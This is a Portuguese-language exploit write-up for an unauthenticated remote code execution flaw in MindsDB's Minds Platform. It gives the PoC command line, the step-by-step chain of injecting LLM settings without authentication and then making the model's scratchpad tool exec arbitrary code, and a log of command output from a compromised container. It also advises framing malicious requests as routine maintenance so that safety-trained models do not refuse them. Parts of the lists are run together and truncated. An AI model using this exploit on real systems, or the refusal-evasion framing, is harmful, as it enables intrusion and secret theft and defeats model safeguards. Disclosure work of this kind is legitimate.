
CVE-2026-73678 — MindsDB Minds Platform RCE não autenticado via execução em scratchpad (CVSS 10.0). Verificado de ponta a ponta com LLM real.
CVSS 10.0 (Crítico) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform (o backend de código aberto do mindsdb/mindshub, anteriormente
mindsdb/minds-platform) expõe POST /api/v1/responses/ (uma
API de Responses compatível com OpenAI, porta 26866) sem nenhuma
autenticação. Não há middleware de autenticação — nenhuma verificação de Bearer, nenhuma sessão, nada.
O servidor apenas instala um middleware CORS permissivo
(allow_origins=["*"], allow_credentials=True).
Um atacante não autenticado pode, portanto:
Injetar a própria configuração de LLM via PUT /api/v1/settings/{key}
(, , ,
, ) — nenhum token necessário, todas as solicitações retornam 200.
openai_api_keyopenai_base_urlplanning_providercoding_provider*_modelEnviar um prompt forjado para POST /api/v1/responses/ →
ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).
O LLM (controlado pelo atacante) retorna uma chamada de função para a ferramenta integrada
scratchpad (action: "exec"). handle_scratchpad →
prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime
→ scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
Como o endpoint do LLM é escolhido pelo atacante (BYOK), o atacante pode fazer o modelo retornar qualquer código de scratchpad — não é necessária cooperação ou coerção do modelo. A única pré-condição é uma chave de API de LLM compatível com OpenAI em funcionamento.
Afetados: ≤ v26.1.0 (código vulnerável adicionado em 2026-06-08, "Fresh #12461").
Corrigido: NENHUM — o GHSA não lista nenhuma versão corrigida; o exec() permanece em
main (existem apenas um middleware Bearer COWORK_REQUIRE_AUTH opcional, desativado por padrão,
e verificações de escopo do modo org).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
O PoC:
PUT /api/v1/settings/* sem autenticaçãouname -a +
hostname via exec do scratchpad)cat /tmp/system_info.txt no hostObservação sobre engenharia de prompt: modelos com forte treinamento de segurança podem recusar comandos obviamente maliciosos (por exemplo, nomes de arquivo contendo "pwn"). Apresente a solicitação como manutenção de rotina (diagnóstico de sistema, verificação de integridade) — o scratchpad executa qualquer código que o modelo fornecer.
Cadeia real de ponta a ponta contra cowork-server==0.26.6.26.1 com um provedor
de LLM real (OpenCode Zen, minimax-m3):
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
Nenhum token foi enviado em nenhum momento. A saída de uname -a foi produzida dentro do
contêiner-alvo pelo exec do scratchpad — execução arbitrária de comandos do sistema operacional
como um atacante remoto não autenticado.
GET /api/v1/settings/reveal-key/{name}
vaza segredos configurados; POST /api/v1/settings/raw grava
~/.anton/.env.mindsdb/mindshub)